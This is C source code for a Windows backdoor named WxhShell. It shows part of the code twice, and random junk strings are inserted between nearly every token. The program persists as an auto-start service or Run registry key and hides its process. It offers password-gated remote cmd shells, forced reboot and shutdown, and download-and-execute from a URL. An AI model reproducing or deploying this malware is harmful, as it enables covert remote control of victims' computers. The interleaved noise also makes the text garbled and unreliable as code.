(PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jVSU]LU E h~#.s*0.F if (!NtQueryInformationProcess) return 0; Hc\oR(L irn
}.e hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -)e(Qt#ewl if(!hProcess) return 0; .zJZ*\2ob WwLV^m] if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &Z+.FTo NDG?Xs [2 CloseHandle(hProcess); "ZG2olOqLI [t]q#+Zs hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n%{oFTLCo if(hProcess==NULL) return 0; Z}>+!Z )2bbG4:N HMODULE hMod; >UV=k :Q char procName[255]; B\>3[_n unsigned long cbNeeded; 0fa8.g#I$ vARZwIu^D if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :]`JcJ %z["TVH CloseHandle(hProcess); eGI&4JgJ. 'uLYah if(strstr(procName,"services")) return 1; // 以服务启动 ZC&4uNUr Bs<LJzS{V return 0; // 注册表启动 e!4Kl: } 1tH#QZIT W\z<p P // 主模块 uJJP<mDgA int StartWxhshell(LPSTR lpCmdLine) DjiWg(X { =fI0q7]ndz SOCKET wsl; !6*4^$i#o BOOL val=TRUE; 5pq9x4& int port=0; 7zu3o struct sockaddr_in door; O9:J
^g "IoY$!Hk if(wscfg.ws_autoins) Install(); p5bM/{DP;K z2SR/[I? port=atoi(lpCmdLine); _/F}y[B7d V V Aw y6 if(port<=0) port=wscfg.ws_port; 9<*<-x{A17 2*0n#"
L WSADATA data; 'V*8'? if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mtNB09E( 62>/0_m5 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; w6'8L s setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o6S`7uwJ*/ door.sin_family = AF_INET; kk/vgte-)e door.sin_addr.s_addr = inet_addr("127.0.0.1"); cqb]LC door.sin_port = htons(port); |d_ rK2 5K|s]Y; if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `,6^eLU closesocket(wsl); )h;zH,DA[3 return 1; +9_E+H'?! } }-paGM@'Nd #EO],!JM if(listen(wsl,2) == INVALID_SOCKET) { 13I~
closesocket(wsl);
58/\ return 1; 2Zw]Uu`sb } su Z` Wxhshell(wsl); H=5#cPI#(^ WSACleanup(); +Z%8X!Q tOw[ return 0; b/eo]Id ] Jv:|J
DZ' } t($z+C< 6 bt{j // 以NT服务方式启动 9;EY3[N VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %(kf#[zQ { K#plSD^f= DWORD status = 0; +,bgOq\aG DWORD specificError = 0xfffffff; 5>M@
F0 < nyk:E serviceStatus.dwServiceType = SERVICE_WIN32; OY(znVHU serviceStatus.dwCurrentState = SERVICE_START_PENDING; K.\- serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m{0u+obi&w serviceStatus.dwWin32ExitCode = 0; JT 5+d , serviceStatus.dwServiceSpecificExitCode = 0; ,
-S n serviceStatus.dwCheckPoint = 0; o`[X _ serviceStatus.dwWaitHint = 0;
%Lgfi vX}mwK8
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `jCq`-. if (hServiceStatusHandle==0) return; O;<YLS^|6 =|bW >y status = GetLastError(); eR5+1b if (status!=NO_ERROR) nB86oQ/S { 1V1T1 serviceStatus.dwCurrentState = SERVICE_STOPPED; !)'|Y5 o serviceStatus.dwCheckPoint = 0; 69/qH_Y serviceStatus.dwWaitHint = 0; $6\W8v serviceStatus.dwWin32ExitCode = status; Jl,\^)DSw serviceStatus.dwServiceSpecificExitCode = specificError; ]mvVX31T SetServiceStatus(hServiceStatusHandle, &serviceStatus); iMOf];O) return; TZk.h8 } lpeo^Y}N >.#tNFAs serviceStatus.dwCurrentState = SERVICE_RUNNING; 'P~6_BW serviceStatus.dwCheckPoint = 0; (ZuV5|N serviceStatus.dwWaitHint = 0; `G.:G/b%H if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v4wXa:CJ } `pd1'5Hm &0S/]E`_M // 处理NT服务事件,比如:启动、停止 -qRO}EF VOID WINAPI NTServiceHandler(DWORD fdwControl) ;:pd/\< { ;= {Z Bx switch(fdwControl) WWYG>C[ { 9<I;9.1S?^ case SERVICE_CONTROL_STOP: Fgg4QF serviceStatus.dwWin32ExitCode = 0; _d/ZaCx'i serviceStatus.dwCurrentState = SERVICE_STOPPED; MHKB:t]hA serviceStatus.dwCheckPoint = 0; Gu9x4p serviceStatus.dwWaitHint = 0; )d-{# { EM.rO/qcW SetServiceStatus(hServiceStatusHandle, &serviceStatus); uDi#a~m@ } %uLyL4*L(p return; 9CTvG zkw case SERVICE_CONTROL_PAUSE: A)q,VSR8 serviceStatus.dwCurrentState = SERVICE_PAUSED; 4lfJc9J break; },LW@Z} case SERVICE_CONTROL_CONTINUE: K1>(Fs$ serviceStatus.dwCurrentState = SERVICE_RUNNING; k|T0Bly3P break; kXbdR case SERVICE_CONTROL_INTERROGATE: 7%4@* break; 1
+'HKT} }; )z?Kq0 SetServiceStatus(hServiceStatusHandle, &serviceStatus); T3
k#6N. } mF !=H% CiGN?1| // 标准应用程序主函数 I3V>VLv int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %S<( z5 { DY%#E9 c F(]`49( // 获取操作系统版本 JP<Z3
A2q OsIsNt=GetOsVer(); o(@F37r{? GetModuleFileName(NULL,ExeFile,MAX_PATH); l?%U*~* !Rw\k'<GKX // 从命令行安装 (&u)FB* if(strpbrk(lpCmdLine,"iI")) Install(); m=<;) XL7jUi_4:L // 下载执行文件 &c!=< <5M if(wscfg.ws_downexe) { @*c) s_ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L"6@3 WinExec(wscfg.ws_filenam,SW_HIDE); kY6))9 O } -m~[z \;A\ vQ[ if(!OsIsNt) { D0&{iZ( // 如果时win9x,隐藏进程并且设置为注册表启动 z[wk-a+w HideProc(); (8(z42 StartWxhshell(lpCmdLine); Eqva]
4 } aJ Du_ else RFu]vFff if(StartFromService()) c!%:f^7g // 以服务方式启动 BDg6ZI<n StartServiceCtrlDispatcher(DispatchTable); o*u A+7n else ,uP1U@Cas // 普通方式启动 AcF;5h StartWxhshell(lpCmdLine); 1dK^[;v>3 `&U ['_% return 0; gU}?Yy } 7M1*SC U)p P^:| ?Y~>H2 "zO+!h'o =========================================== i4"xvLK4 FBPT@`~v | JL47FR ]eq3cwR[| \0pJ+@\T9 WiL~b
=fT " Sk$XC dR_hPBn/@ #include <stdio.h> hGF(E* #include <string.h> 7j&l2Z #include <windows.h> >}/"gx #include <winsock2.h> +*
)Qi) #include <winsvc.h> Q_#X*I #include <urlmon.h> 3P p*ID E4[\lX$J #pragma comment (lib, "Ws2_32.lib") ? F fw'O #pragma comment (lib, "urlmon.lib") $/45* ,Fg&<Be}Jx #define MAX_USER 100 // 最大客户端连接数 0r=Lilu{q #define BUF_SOCK 200 // sock buffer s/Wg^(&M #define KEY_BUFF 255 // 输入 buffer r/L3j0 DRVvW6s #define REBOOT 0 // 重启 (.!q~G #define SHUTDOWN 1 // 关机 N1(}3O SJ7>*Sa(u$ #define DEF_PORT 5000 // 监听端口 Z-H Kdv!d u6jJf@!ws #define REG_LEN 16 // 注册表键长度 (s{%XB:K #define SVC_LEN 80 // NT服务名长度 Af0E_ 0tB9X9 :, // 从dll定义API Zk}e?Grc typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?#D@e5Wf typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2#1FI0,Pa* typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $X~=M_W typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =W ! m` lLtC9: // wxhshell配置信息
v-[|7Pg}Z struct WSCFG { \{+7`4g int ws_port; // 监听端口 m$hSL4N char ws_passstr[REG_LEN]; // 口令 O,JthlAV4 int ws_autoins; // 安装标记, 1=yes 0=no i`8!Vm char ws_regname[REG_LEN]; // 注册表键名 /IV:JVT char ws_svcname[REG_LEN]; // 服务名 ZLKS4 char ws_svcdisp[SVC_LEN]; // 服务显示名 <WBGPzVZE char ws_svcdesc[SVC_LEN]; // 服务描述信息 *vsOL4I% char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D?5W1m]E,s int ws_downexe; // 下载执行标记, 1=yes 0=no o(~JZik char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P!YT{} char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G';oM;~/| ieS5*@^k }; q}BQu@'H ~w[zX4@ // default Wxhshell configuration ",8h>eEWK struct WSCFG wscfg={DEF_PORT, ;{Z2i% "xuhuanlingzhe", A7_*zR@ 1, ,%nmCetD@ "Wxhshell", n7<<}wcV "Wxhshell", "TjR]jnV( "WxhShell Service", /'VCJjzZ "Wrsky Windows CmdShell Service", ocgbBE "Please Input Your Password: ", YBS]JCO 1, x5`q)!<& "http://www.wrsky.com/wxhshell.exe", JG}U,{7( "Wxhshell.exe" xI:;%5{LN }; <JH0 & "l +Jx|h\ // 消息定义模块 A7b7IM [ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )cs
y^-qw char *msg_ws_prompt="\n\r? for help\n\r#>"; QTn-n)AE char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KI>7h.t char *msg_ws_ext="\n\rExit."; sCRBKCR? char *msg_ws_end="\n\rQuit."; <U,T*Ql1x char *msg_ws_boot="\n\rReboot..."; s^KxAw_IV char *msg_ws_poff="\n\rShutdown..."; dnIBAe char *msg_ws_down="\n\rSave to "; g\*gHHa P<4jY?. char *msg_ws_err="\n\rErr!"; R?&S]?H char *msg_ws_ok="\n\rOK!"; #{
Uk4 Q}fAAZ&7h char ExeFile[MAX_PATH]; q}\\p int nUser = 0; GF/p|I D HANDLE handles[MAX_USER]; UN>hJN;c int OsIsNt; zRE7 w: Z p__ SERVICE_STATUS serviceStatus; acGmRP9g SERVICE_STATUS_HANDLE hServiceStatusHandle; wH${q@z _ 0|^x[dh // 函数声明 m/ 6oQ int Install(void); BxZop.zwE( int Uninstall(void); -ZyFUGd% int DownloadFile(char *sURL, SOCKET wsh); ([9h.M6v int Boot(int flag); .PAkW2\# void HideProc(void); uqO51V~ int GetOsVer(void); J0=`n(48B int Wxhshell(SOCKET wsl); .ySesN: C~ void TalkWithClient(void *cs); M2zfN ru int CmdShell(SOCKET sock); jZ{S{"j int StartFromService(void); #JLDj(a? int StartWxhshell(LPSTR lpCmdLine); 9C4l@jrF r
2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G0(c@FBK VOID WINAPI NTServiceHandler( DWORD fdwControl ); ka>RAr J KT g$^"\ // 数据结构和表定义 <hK$Cf_ SERVICE_TABLE_ENTRY DispatchTable[] = PO%]Jme { I8Zp#'|U {wscfg.ws_svcname, NTServiceMain}, "BVz5? {NULL, NULL} .i=%gg }; D{l.WlA. h
|lQTT // 自我安装 AV2q* int Install(void) 5r+0^UAO:J { %DV@ 2rC< char svExeFile[MAX_PATH]; VUnEI oKM HKEY key; e:,.-Kvzp` strcpy(svExeFile,ExeFile); x1}q!)e q;>BltU // 如果是win9x系统,修改注册表设为自启动 eh`V#%S= if(!OsIsNt) { zPw
R1>gL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "pWdz}! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AQiP2`? RegCloseKey(key); - 5k4vx
N} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [y{ag{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bs1-UI}+ RegCloseKey(key); =)zq%d?i; return 0; _+Q$h4t
} Asn0&Ys4 } Gqia@>T4*N } W?l .QQk else { 7GIv3Dc v :HgpZo+ // 如果是NT以上系统,安装为系统服务 b?bYPN+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zgRP!q<9tt if (schSCManager!=0) I?Zs|A { ^6LFho4 SC_HANDLE schService = CreateService {tT`It ( ~NcJLU!au schSCManager, NuooA wscfg.ws_svcname, cdfll+ wscfg.ws_svcdisp, xBZ9|2Y s SERVICE_ALL_ACCESS, apMYBbC SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c0qv11,:t SERVICE_AUTO_START, kCwTv:) SERVICE_ERROR_NORMAL, EIYM0vls( svExeFile, U.)G#B NULL, !}PFi T^ NULL, GY",AL8f NULL, ( Lu.^ NULL, >C-_Zv<!T\ NULL c==Oio(" ); *3ne(c if (schService!=0) L|2COX { dikWk CloseServiceHandle(schService); Vd/S81/ CloseServiceHandle(schSCManager); p;7 4+q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kR6 t
. strcat(svExeFile,wscfg.ws_svcname); v\Wm[Ld if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y[zA[H: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {4QOUqA u RegCloseKey(key); <{U{pCT% return 0; Fm;)7.%
> } @\DD|o67 } kdUGmR0d CloseServiceHandle(schSCManager); hKTg~y^ } > 4ct[fW+ } Ds
G
* `Of wl%G return 1; >#:/
GN? } PD}R7[".> _RW[]MN3* // 自我卸载 %)/f; T6 int Uninstall(void) ).]m@g:ew { {\aSEE/' HKEY key; @|GeR jSFN/C.9h if(!OsIsNt) { 46zaxcY<! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {IMzR'PN RegDeleteValue(key,wscfg.ws_regname); 0lRH
Yu RegCloseKey(key); Z8&C-yCC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sv;zvEn;-L RegDeleteValue(key,wscfg.ws_regname); ZW?7g+P RegCloseKey(key); UTTC:=F+ return 0; FqTkUWd,# } &
.?HuK } ]hj1.V+ } j>o +}p?3I else { bJ|?5 p0rwiBC=q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @1F 'V' if (schSCManager!=0) 0H3T'J%r { Q@2tT&eL SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _=L;`~=C9e if (schService!=0) \u]CD}/ { lkfFAwnc if(DeleteService(schService)!=0) { gx*rSS?=N CloseServiceHandle(schService); <!9fJFE CloseServiceHandle(schSCManager); \ZFQ?e,d return 0; ?nZ <? } Z% ;4Ed CloseServiceHandle(schService); >'6GcnEb4. } Nr"N\yOA/ CloseServiceHandle(schSCManager); -m160k3 } aE BP9RX}z } {F:v$ K iw
fp' return 1; YC]YX H } ~9?U_ahfVt gOyY#]g // 从指定url下载文件 grQnV' q int DownloadFile(char *sURL, SOCKET wsh) olMO+-USP { DnHAm q] HRESULT hr; Q
H_W\W char seps[]= "/"; +^kxFQ(: char *token; ,%h!% nz! char *file; .gN$N=7< char myURL[MAX_PATH]; ;x-H$OZX char myFILE[MAX_PATH]; |2@en=EYk %%~}Lw strcpy(myURL,sURL); 4$aO;Z_ token=strtok(myURL,seps); z@~&Kwf\} while(token!=NULL) >C3NtGvy { Y_@"v#, file=token; A$~xG( token=strtok(NULL,seps); =u8D!AxT } fT3*>^Uv v'Vt
.m&9& GetCurrentDirectory(MAX_PATH,myFILE); T@|l@xm~L strcat(myFILE, "\\"); ;:Z=%R$wJ strcat(myFILE, file); |WAD $3 send(wsh,myFILE,strlen(myFILE),0); P;[Y42\z| send(wsh,"...",3,0); Blbq3y+Sq hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hoR=%pC* if(hr==S_OK) 3l%,D:
? return 0; M{xVkXc> else @vQa\|j return 1; ahtYSz_FM V-_/(xt* } Hl3)R*&'J 3u*hTT // 系统电源模块 wm=RD98 int Boot(int flag) kwHqvO!G { VkpHzr[k HANDLE hToken; b(RBG TOKEN_PRIVILEGES tkp; 0[lsoYUq
gt_XAH if(OsIsNt) { A)zPaXZ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ADGnBYE LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &|N%#pYS tkp.PrivilegeCount = 1; vWl[l
-E tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D#7_TKX AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }t|Plz if(flag==REBOOT) { 7%9)C[6NSs if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l>~`;W return 0; RxZm/:yuJ. } Taf
n:Nw} else { >`89N'lZBm if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MCeu0e^) return 0; @8nLQh^ } >+
]R4 } vJRnBq+y else { sS2_-X[_ if(flag==REBOOT) { SFn 3$ rh if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |mxNUo- return 0; S<nP80C } :p<kQ4
else { BR36}iS;V if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
)C
{h1
` return 0; pp~3@_)b } ]4Y/x i- } !:"-:O}>=, SY,I>-% return 1; dTN$y\
} lwOf)jK:J gg-};0P- // win9x进程隐藏模块 ?MC(}dF0 void HideProc(void) Xsd$*F@< { \+k, :8s/ ^/>Wr'w HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4\N_ G
@ if ( hKernel != NULL ) J/'M N { #JA}LA"l pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5"JU?e59M ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F7{R~mS; FreeLibrary(hKernel); c>ad0xce6 } 1")FWN_K/T dEASvD' return; lC#RNjDp/~ } G02ox5X !4R>O6k // 获取操作系统版本 74K)aA int GetOsVer(void) TbLe6x { vv+D*e&< OSVERSIONINFO winfo; *hVb5CS winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BeK2;[5C GetVersionEx(&winfo); Ge~q3" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k-"<{V return 1; ]9jZndgC else __!m*!sd return 0; Y@Y`gF6F } Ic'Q5kfM ll^DY
hx} // 客户端句柄模块 XHxz @_rw int Wxhshell(SOCKET wsl) 90~*dNk { -~
0] 7Cpl SOCKET wsh; {6'*Phw struct sockaddr_in client; W`$[j0 DWORD myID; 0
y<k][ .f>,6? while(nUser<MAX_USER) Dg~
[#C- { .nEs:yn int nSize=sizeof(client); Is13: wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nv"G;W if(wsh==INVALID_SOCKET) return 1; p8=|5. Qyz>ZPu}sz handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u4YM^* S. if(handles[nUser]==0) &Yp+k}XU closesocket(wsh); Xo Y7/&& else @,k7xm$u nUser++; nfX12y_SXL } 2"@Ft()] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K;x~&G0= lop uf/U0 return 0; B{p4G`$i1 } yRC3
.[ ibJl;sJ // 关闭 socket 7JI:=yY!>: void CloseIt(SOCKET wsh) lEHwZ<je { c3] C:t+ closesocket(wsh); XLm@etf nUser--; I}+;ME|<2 ExitThread(0); KAed!z9 } :#{-RU@PS (/K5! qh // 客户端请求句柄 D`Gt void TalkWithClient(void *cs) ^agj4$ { H`-=?t vX+.e1m SOCKET wsh=(SOCKET)cs; qD-fw-,: char pwd[SVC_LEN]; [ ?iqqG. char cmd[KEY_BUFF]; ^av6HFQ char chr[1]; :a.0hes int i,j; ?*H9-2W@ @9 )}cg while (nUser < MAX_USER) { mb\h^cKaq txq~+'A:+ if(wscfg.ws_passstr) { e .l!3xY2' if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L/?]^!. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3OP.12^ //ZeroMemory(pwd,KEY_BUFF); p0M=t- i=0; o.Oq__ >$H while(i<SVC_LEN) { Nb;H`<JP )TU<:V // 设置超时 h*Je35
fd_set FdRead; tPU-1by$ struct timeval TimeOut; bLbR IY"l FD_ZERO(&FdRead); 6tn+m54_ FD_SET(wsh,&FdRead); sTkkM9 TimeOut.tv_sec=8; vXdZmYrC TimeOut.tv_usec=0; X|b2c+I int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KE.Dt if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NZk&JND s+,&|;Q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yNa;\UF pwd=chr[0]; ffE#^| if(chr[0]==0xd || chr[0]==0xa) { GK?4@<fY pwd=0; .9h)bf+ break; *Qkc[XHqy } =eBmBn i++; z/ 7$NxJH } 3;_
n{& >A}0Ho // 如果是非法用户,关闭 socket LA4<#KP if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;`(R7X
*3 } MBw-*K'?zB CPviR<ms_ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NTmi 2c send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WUEHB #BY`h~&T while(1) { #@qN8J}R SfB8!V|; ZeroMemory(cmd,KEY_BUFF); m"d/b~q #NN ewzC<* // 自动支持客户端 telnet标准 OBOwz4< j=0; v`DI<Lt while(j<KEY_BUFF) { sx
9uV if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A:# k cmd[j]=chr[0]; DBs DkkB{ if(chr[0]==0xa || chr[0]==0xd) { gfy19c 9 cmd[j]=0; g"hJ{{< break; vl:J40Kfn } 'bu )M1OLi j++; >t <pFh } OP! R[27> #E$X,[ZFo // 下载文件 YF[f Z if(strstr(cmd,"http://")) { p
&(OZJT send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1;lmu]I>) if(DownloadFile(cmd,wsh)) @T:faJ5\' send(wsh,msg_ws_err,strlen(msg_ws_err),0); B_^]C9C| else bw4oLu? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y`GOER } h7yqk4'Lq else { Ev9> @~^ $uh z switch(cmd[0]) { OCV+h' l7}g^\I // 帮助 K@u&(} case '?': { m:+8J,jW send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gfa[4
z break; `BY&>WY[ } uQqWew8l+ // 安装 Pbu{'y3J case 'i': { v?:: |{ if(Install()) kH948<fk3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9X}I> else ) R2XU send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OJO!FH) break; SOf{Hx0C6 } GK*v{` // 卸载 ZcE_f>KV case 'r': { O4iC]5@ if(Uninstall()) rN/|(@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); :aAEJ else `#mK*Buem} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &^".2)zU break; ,*svtw:2') } !Ng=Yk>3 // 显示 wxhshell 所在路径 ~P*4V]L^ case 'p': { ,&^3Z char svExeFile[MAX_PATH]; 39i9wrP strcpy(svExeFile,"\n\r"); ^jE8+h strcat(svExeFile,ExeFile); W"q@Qa`Bm send(wsh,svExeFile,strlen(svExeFile),0); *OjKcs break; An`3Ex[
} GW^,g@%C // 重启 Orn0Zpp<z case 'b': { ]T:;Vo
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f9u^ R=Ff[ if(Boot(REBOOT)) hT g<* send(wsh,msg_ws_err,strlen(msg_ws_err),0); Me5{_n else { 'tgKe!-@ closesocket(wsh); lSwcL ExitThread(0); )cJ#-M2 } 3VO2,PCZ break; W_|0y4QOo } 0%Ll // 关机 fxcc<h4 case 'd': { yay<GP? send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r=uN9ro if(Boot(SHUTDOWN)) o{qr!*_3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Nm4sI11 else { Sjj>#}U closesocket(wsh); "/Pjjb:2 ExitThread(0); =T?}Nt } :M3oUE{ break; thlY0XCq,% } ;|T!#@j // 获取shell N"tFP9;K case 's': { BR`ygrfe CmdShell(wsh);
df}r% i closesocket(wsh); y&~w2{a ExitThread(0); Vv.r8IGYm break; z;tI D~Y } * |.0Myjo // 退出 `4?~nbz case 'x': { HSUI${< send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0oZsb\ CloseIt(wsh); g#]" hn break; Jzji&A~ } f"[J"j8 // 离开 *D}0[|O case 'q': { 7cP@jj send(wsh,msg_ws_end,strlen(msg_ws_end),0); <*ZJaBwWU~ closesocket(wsh); 4rT*tW"U WSACleanup(); pIV-kI:w exit(1); olB)p$aH# break; &F:IIo7 } "Mw[P [w* } 7"F*u : } #AkV/1Y h0--B]f@ // 提示信息 !l?.5Pm]) if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $4kH3+WJ } 8I20*# } GG064zPq7 wcSyw2D return; Bs+(L [Z } h`
U?1xS - O98pi // shell模块句柄 >2$5eI int CmdShell(SOCKET sock) v,-{Z1N%m { J?@DGp+t STARTUPINFO si; O4\Z!R60g ZeroMemory(&si,sizeof(si)); U@ ?LP si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;h6v@)#GX si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {^mNJ PROCESS_INFORMATION ProcessInfo; k(>h^ char cmdline[]="cmd"; {e[%;W%c& CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =!O*/6rz return 0;
/tV/85r } 'FlJpA} b5$JfjI // 自身启动模式 [ylsz? int StartFromService(void) nkxzk$ { Hgeg@RP
Q typedef struct >^q7c8]~g { XZ&KR.C, DWORD ExitStatus; +d+@u)6 DWORD PebBaseAddress; w\54j)rb DWORD AffinityMask; P./V6i<: DWORD BasePriority; h5%<+D< ULONG UniqueProcessId; (Fq5IGs ULONG InheritedFromUniqueProcessId; O ,rwP } PROCESS_BASIC_INFORMATION; +a&p$\ /kL$4CA PROCNTQSIP NtQueryInformationProcess; 5$DHn] q"O.Cbk static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; />¬$> static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B]m@:|Q M;cO0UIwO HANDLE hProcess; 0&qr PROCESS_BASIC_INFORMATION pbi; GoA4f3
3G.5724, HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Qy<[7 if(NULL == hInst ) return 0; /,!qFt pi=-#g(2 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Vd".u'r g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b KTcZG NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tQZs.1=z E$W{8?:{ if (!NtQueryInformationProcess) return 0; Nx{$} TG}*5Z` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Cm$.<CV if(!hProcess) return 0; gu #-O?B o,U9}_|A if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o7mZzzP X;<BzA!H CloseHandle(hProcess); ,Y3W? +!QJTn"3 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?)bS['^1) if(hProcess==NULL) return 0; |mdi]TL D9`0Dr}/2 HMODULE hMod; ;Yi4Xva@ char procName[255]; )jq?lw'& unsigned long cbNeeded; V"p!Bf 1;Pv0&[q/ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
T+N|R [M.f-x: CloseHandle(hProcess); k>t)g-,2 "ZTTg>r if(strstr(procName,"services")) return 1; // 以服务启动 |
